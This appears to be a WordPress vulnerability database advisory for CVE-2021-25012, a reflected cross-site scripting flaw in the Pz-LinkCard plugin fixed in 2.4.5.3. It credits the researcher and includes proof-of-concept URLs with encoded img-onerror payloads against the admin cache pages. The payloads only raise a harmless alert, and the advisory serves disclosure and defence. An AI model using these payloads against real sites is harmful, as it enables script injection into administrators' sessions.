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How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Pz-LinkCard < 2.4.5.3 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape multiple parameters before outputting them back in admin dashboard pages, leading to Reflected Cross-Site Scripting issues

Proof of Concept

v < 2.4.5
https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
https://example.com/wp-admin/tools.php?page=pz-linkcard-cache&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E ETC

v <= 2.4.5.1
https://example.com/wp-admin/tools.php?page=pz-linkcard-cacheman&keyword=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
https://example.com/wp-admin/tools.php?page=pz-linkcard-cacheman&extraction=%22%3E%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E 

Affects Plugins

pz-linkcard
Fixed in version 2.4.5.3

References

CVE
CVE-2021-25012

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
b126d2fc-6cc7-4c18-b95e-d32c2effcc4f

Timeline

Publicly Published

2022-03-01 (about 11 months ago)

Added

2022-03-01 (about 11 months ago)

Last Updated

2022-06-10 (about 7 months ago)

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